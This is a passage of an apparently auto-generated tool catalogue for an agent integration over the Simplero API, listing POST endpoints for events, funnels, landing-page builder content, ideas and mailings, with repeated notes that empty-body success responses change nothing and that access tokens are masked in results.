/api/v1/simplero/api/v2/events. Scopes: api. simplero_post_api_v2_events_by_id_actions_add_facet_values (write) — Add facet values (events) via POST /api/v2/events/{id}/actions/add_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/events/{id}/actions/add_facet_values. Scopes: api. simplero_post_api_v2_events_by_id_actions_add_labels (write) — Add labels (events) via POST /api/v2/events/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/events/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_events_by_id_actions_add_to_site (write) — Add event series to site(s) via POST /api/v2/events/{id}/actions/add_to_site. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/events/{id}/actions/add_to_site. Scopes: api. simplero_post_api_v2_events_by_id_actions_disassociate_from_funnel (write) — Disassociate from funnel (events) via POST /api/v2/events/{id}/actions/disassociate_from_funnel. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/events/{id}/actions/disassociate_from_funnel. Scopes: api. simplero_post_api_v2_events_by_id_actions_duplicate (write) — Duplicate (events) via POST /api/v2/events/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/events/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_events_by_id_actions_remove_facet_values (write) — Remove facet values (events) via POST /api/v2/events/{id}/actions/remove_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/events/{id}/actions/remove_facet_values. Scopes: api. simplero_post_api_v2_events_by_id_actions_remove_from_site (write) — Remove event series from site(s) via POST /api/v2/events/{id}/actions/remove_from_site. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/events/{id}/actions/remove_from_site. Scopes: api. simplero_post_api_v2_events_by_id_actions_remove_label (write) — Remove label (events) via POST /api/v2/events/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/events/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_facet_values (write) — Create a facet value via POST /api/v2/facet_values. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/facet_values. Scopes: api. simplero_post_api_v2_facetings (write) — Create a faceting via POST /api/v2/facetings. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/facetings. Scopes: api. simplero_post_api_v2_facets (write) — Create a facet via POST /api/v2/facets. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/facets. Scopes: api. simplero_post_api_v2_facets_by_id_actions_add_labels (write) — Add labels (facets) via POST /api/v2/facets/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/facets/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_facets_by_id_actions_remove_label (write) — Remove label (facets) via POST /api/v2/facets/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/facets/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_field_options (write) — Create a option via POST /api/v2/field_options. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/field_options. Scopes: api. simplero_post_api_v2_field_options_by_id_actions_resurrect (write) — Resurrect (field options) via POST /api/v2/field_options/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/field_options/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_field_values (write) — Create a field value via POST /api/v2/field_values. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/field_values. Scopes: api. simplero_post_api_v2_fields (write) — Create a custom field via POST /api/v2/fields. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/fields. Scopes: api. simplero_post_api_v2_form_fields (write) — Create a field via POST /api/v2/form_fields. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/form_fields. Scopes: api. simplero_post_api_v2_form_fields_by_id_actions_duplicate (write) — Duplicate (form fields) via POST /api/v2/form_fields/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/form_fields/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_forum_posts_by_id_actions_add_facet_values (write) — Add facet values (forum posts) via POST /api/v2/forum_posts/{id}/actions/add_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/forum_posts/{id}/actions/add_facet_values. Scopes: api. simplero_post_api_v2_forum_posts_by_id_actions_approve (write) — Approve (forum posts) via POST /api/v2/forum_posts/{id}/actions/approve. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/forum_posts/{id}/actions/approve. Scopes: api. simplero_post_api_v2_forum_posts_by_id_actions_change_category (write) — Change category via POST /api/v2/forum_posts/{id}/actions/change_category. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/forum_posts/{id}/actions/change_category. Scopes: api. simplero_post_api_v2_forum_posts_by_id_actions_duplicate (write) — Duplicate (forum posts) via POST /api/v2/forum_posts/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/forum_posts/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_forum_posts_by_id_actions_duplicate_to_other_forum (write) — Duplicate to other forum via POST /api/v2/forum_posts/{id}/actions/duplicate_to_other_forum. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/forum_posts/{id}/actions/duplicate_to_other_forum. Scopes: api. simplero_post_api_v2_forum_posts_by_id_actions_reject (write) — Reject (forum posts) via POST /api/v2/forum_posts/{id}/actions/reject. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/forum_posts/{id}/actions/reject. Scopes: api. simplero_post_api_v2_forum_posts_by_id_actions_reject_with_message (write) — Reject with message (forum posts) via POST /api/v2/forum_posts/{id}/actions/reject_with_message. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/forum_posts/{id}/actions/reject_with_message. Scopes: api. simplero_post_api_v2_forum_posts_by_id_actions_remove_facet_values (write) — Remove facet values (forum posts) via POST /api/v2/forum_posts/{id}/actions/remove_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/forum_posts/{id}/actions/remove_facet_values. Scopes: api. simplero_post_api_v2_funnel_connectors (write) — Add a branch to a split or condition step via POST /api/v2/funnel_connectors. Adds a new empty branch (connector) to a `split_test` or `condition` step. The new connector goes from `parent_id` (the split/condition step) to that step's paired join step, marked `created_blank: true`. Fill the branch by creating steps with `connector_id` set to this connector's id. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/funnel_connectors. Scopes: api. simplero_post_api_v2_funnel_steps (write) — Create a funnel step via POST /api/v2/funnel_steps. Create a new step in a funnel. The step is graph-aware: for `split_test` / `condition` step types, the paired join step and minimum connectors are created atomically. Placement parameters (all optional, mutually exclusive): - `after_step_id` — insert after the given step (uses its child connector). - `before_step_id` — insert before the given step (uses its parent connector). - `connector_id` — insert into a specific connector (e.g. into a split branch). - None of the above — append before the funnel's `last` sentinel step. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/funnel_steps. Scopes: api. simplero_post_api_v2_funnel_steps_by_id_actions_archive (write, destructive) — Archive via POST /api/v2/funnel_steps/{id}/actions/archive. Answers {"data": {...}}. DESTRUCTIVE: Archive. POST /api/v1/simplero/api/v2/funnel_steps/{id}/actions/archive. Scopes: api. simplero_post_api_v2_funnel_steps_by_id_actions_duplicate (write) — Duplicate (funnel steps) via POST /api/v2/funnel_steps/{id}/actions/duplicate. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/funnel_steps/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_funnel_steps_by_id_actions_move (write) — Move (funnel steps) via POST /api/v2/funnel_steps/{id}/actions/move. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/funnel_steps/{id}/actions/move. Scopes: api. simplero_post_api_v2_funnel_steps_by_id_actions_restore (write) — Restore via POST /api/v2/funnel_steps/{id}/actions/restore. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/funnel_steps/{id}/actions/restore. Scopes: api. simplero_post_api_v2_funnels (write) — Create a funnel via POST /api/v2/funnels. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/funnels. Scopes: api. simplero_post_api_v2_funnels_by_id_actions_add_labels (write) — Add labels (funnels) via POST /api/v2/funnels/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/funnels/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_funnels_by_id_actions_duplicate (write) — Duplicate (funnels) via POST /api/v2/funnels/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/funnels/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_funnels_by_id_actions_remove_label (write) — Remove label (funnels) via POST /api/v2/funnels/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/funnels/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_funnels_by_id_actions_resurrect (write) — Resurrect (funnels) via POST /api/v2/funnels/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/funnels/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_funnels_by_id_actions_star (write) — Star (funnels) via POST /api/v2/funnels/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/funnels/{id}/actions/star. Scopes: api. simplero_post_api_v2_funnels_by_id_actions_unstar (write) — Unstar (funnels) via POST /api/v2/funnels/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/funnels/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_ideas_by_id_actions_add_facet_values (write) — Add facet values (ideas) via POST /api/v2/ideas/{id}/actions/add_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/ideas/{id}/actions/add_facet_values. Scopes: api. simplero_post_api_v2_ideas_by_id_actions_assign_to_me (write) — Assign to me (ideas) via POST /api/v2/ideas/{id}/actions/assign_to_me. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/ideas/{id}/actions/assign_to_me. Scopes: api. simplero_post_api_v2_ideas_by_id_actions_merge (write, destructive) — Merge into another idea via POST /api/v2/ideas/{id}/actions/merge. Answers {"data": {...}}. DESTRUCTIVE: Merge into another idea -- the source idea stops existing separately. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/ideas/{id}/actions/merge. Scopes: api. simplero_post_api_v2_ideas_by_id_actions_move_to_pipeline (write) — Move to pipeline (ideas) via POST /api/v2/ideas/{id}/actions/move_to_pipeline. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/ideas/{id}/actions/move_to_pipeline. Scopes: api. simplero_post_api_v2_ideas_by_id_actions_move_to_stage (write) — Move to pipeline stage (ideas) via POST /api/v2/ideas/{id}/actions/move_to_stage. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/ideas/{id}/actions/move_to_stage. Scopes: api. simplero_post_api_v2_ideas_by_id_actions_reassign (write) — Reassign (ideas) via POST /api/v2/ideas/{id}/actions/reassign. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/ideas/{id}/actions/reassign. Scopes: api. simplero_post_api_v2_ideas_by_id_actions_remove_facet_values (write) — Remove facet values (ideas) via POST /api/v2/ideas/{id}/actions/remove_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/ideas/{id}/actions/remove_facet_values. Scopes: api. simplero_post_api_v2_ideas_by_id_actions_send_to_linear (write) — Send to Linear (ideas) via POST /api/v2/ideas/{id}/actions/send_to_linear. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/ideas/{id}/actions/send_to_linear. Scopes: api. simplero_post_api_v2_installments (write) — Create a installment via POST /api/v2/installments. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/installments. Scopes: api. simplero_post_api_v2_labelings (write) — Create a labeled object via POST /api/v2/labelings. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/labelings. Scopes: api. simplero_post_api_v2_labels (write) — Create a label via POST /api/v2/labels. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/labels. Scopes: api. simplero_post_api_v2_labels_by_id_actions_star (write) — Star (labels) via POST /api/v2/labels/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/labels/{id}/actions/star. Scopes: api. simplero_post_api_v2_labels_by_id_actions_unstar (write) — Unstar (labels) via POST /api/v2/labels/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/labels/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_landing_pages (write) — Create a landing page via POST /api/v2/landing_pages. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/landing_pages. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_add_labels (write) — Add labels (landing pages) via POST /api/v2/landing_pages/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_duplicate (write) — Duplicate (landing pages) via POST /api/v2/landing_pages/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_move_to_funnel (write) — Move to funnel (landing pages) via POST /api/v2/landing_pages/{id}/actions/move_to_funnel. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/move_to_funnel. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_refresh_page_speed_score (write) — Refresh page speed score (landing pages) via POST /api/v2/landing_pages/{id}/actions/refresh_page_speed_score. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/refresh_page_speed_score. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_remove_label (write) — Remove label (landing pages) via POST /api/v2/landing_pages/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_resurrect (write) — Resurrect (landing pages) via POST /api/v2/landing_pages/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_save_as_template (write) — Save as template (landing pages) via POST /api/v2/landing_pages/{id}/actions/save_as_template. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/save_as_template. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_star (write) — Star (landing pages) via POST /api/v2/landing_pages/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/star. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_start_split_testing (write) — Start split test (landing pages) via POST /api/v2/landing_pages/{id}/actions/start_split_testing. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/start_split_testing. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_undo_move (write) — Undo move to landing page via POST /api/v2/landing_pages/{id}/actions/undo_move. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/undo_move. Scopes: api. simplero_post_api_v2_landing_pages_by_id_actions_unstar (write) — Unstar (landing pages) via POST /api/v2/landing_pages/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_landing_pages_by_id_builder_content_discard_unpublished_changes (write, destructive) — Discard unpublished builder doc changes (landing pages) via POST /api/v2/landing_pages/{id}/builder/content/discard_unpublished_changes. Throws away the working draft and reconnects working to the currently published version. This is the operation that repairs a disconnected working lineage so publish can succeed. No-op-success when working is already the published version. Errors when the doc has never been published. Answers {"data": {...}}. DESTRUCTIVE: Discard unpublished builder doc changes -- the working version's edits are gone. POST /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/discard_unpublished_changes. Scopes: api. simplero_post_api_v2_landing_pages_by_id_builder_content_html_section (write) — Create or update HTML section content (landing pages) via POST /api/v2/landing_pages/{id}/builder/content/html_section. Create or update the HTML content of an html_section node. `node_id` is required. Pass either: * The id of an existing `html_section` node — updates its HTML. * The literal string `"create_new"` — creates a new `html_section` node under the root with the given `html`. Pass `publish_changes: true` to publish the working version immediately after the change. Embedding structured builder nodes inside the HTML: You can embed dynamic Simplero elements (order forms, opt-in forms, buttons, input fields, etc.) inside the HTML. See the description of the html_section embed endpoint (POST builder/content/html_section/embed) for how this works. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/html_section. Scopes: api. simplero_post_api_v2_landing_pages_by_id_builder_content_html_section_embed (write) — Generate embed markup for a node type (landing pages) via POST /api/v2/landing_pages/{id}/builder/content/html_section/embed. Returns a <builder-node> custom element markup string that you can paste into the html of an html_section to embed a structured builder node (e.g. an order form, input field, button, signup form, etc.) inside free-form HTML. How to use: 1. Use the node_types endpoints for this builder role to find the `type` of the node you want to embed and its available settings. 2. POST here with that `type` and any `settings` you want baked in. The response contains `embed_html` — a self-contained <builder-node ...></builder-node> snippet. 3. Paste that `embed_html` string verbatim into the `html` you send to the html_section update endpoint (POST builder/content/html_section). At runtime it will be replaced with the rendered node. Typical flow: build the bulk of your page as HTML via the html_section update endpoint, and sprinkle in these <builder-node> embeds wherever you need a dynamic Simplero element (order form, opt-in form, buy button, etc.) that you can't express as plain HTML. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/html_section/embed. Scopes: api. simplero_post_api_v2_landing_pages_by_id_builder_content_nodes (write) — Create a builder doc node (landing pages) via POST /api/v2/landing_pages/{id}/builder/content/nodes. Adds a new node to the tree under the given parent. Pass publish_changes: true to publish the working version immediately. Note: creating an `html_section` node here is allowed but you MUST NOT pass any `settings` — to set its HTML content, create it first and then use the html_section update endpoint (POST builder/content/html_section). Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/nodes. Scopes: api. simplero_post_api_v2_landing_pages_by_id_builder_content_publish (write) — Publish the working version (landing pages) via POST /api/v2/landing_pages/{id}/builder/content/publish. Publishes the current working version of this record's builder doc, making staged changes live. Fails when the working draft is disconnected from the published version — POST builder/content/discard_unpublished_changes first. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/publish. Scopes: api. simplero_post_api_v2_landing_pages_by_id_builder_content_versions_by_version_id_restore (write) — Restore a builder doc version (landing pages) via POST /api/v2/landing_pages/{id}/builder/content/versions/{version_id}/restore. Creates a new working draft whose content matches the given version. Does not publish. The restored snapshot is always a new version on top of the current working version (same as Restore this version in the editor). To throw away a disconnected draft and go back to published, use discard_unpublished_changes instead. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/versions/{version_id}/restore. Scopes: api. simplero_post_api_v2_library_mailings (write) — Create a library email via POST /api/v2/library_mailings. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/library_mailings. Scopes: api. simplero_post_api_v2_library_mailings_by_id_actions_add_labels (write) — Add labels (library mailings) via POST /api/v2/library_mailings/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/library_mailings/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_library_mailings_by_id_actions_add_to_newsletter (write) — Add to newsletter queue via POST /api/v2/library_mailings/{id}/actions/add_to_newsletter. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/library_mailings/{id}/actions/add_to_newsletter. Scopes: api. simplero_post_api_v2_library_mailings_by_id_actions_duplicate (write) — Duplicate (library mailings) via POST /api/v2/library_mailings/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/library_mailings/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_library_mailings_by_id_actions_remove_label (write) — Remove label (library mailings) via POST /api/v2/library_mailings/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/library_mailings/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_library_mailings_by_id_actions_resurrect (write) — Resurrect (library mailings) via POST /api/v2/library_mailings/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/library_mailings/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_library_mailings_by_id_actions_save_to_library (write) — Save to email library via POST /api/v2/library_mailings/{id}/actions/save_to_library. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/library_mailings/{id}/actions/save_to_library. Scopes: api. simplero_post_api_v2_library_mailings_by_id_actions_send_to (write) — Send to via POST /api/v2/library_mailings/{id}/actions/send_to. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing 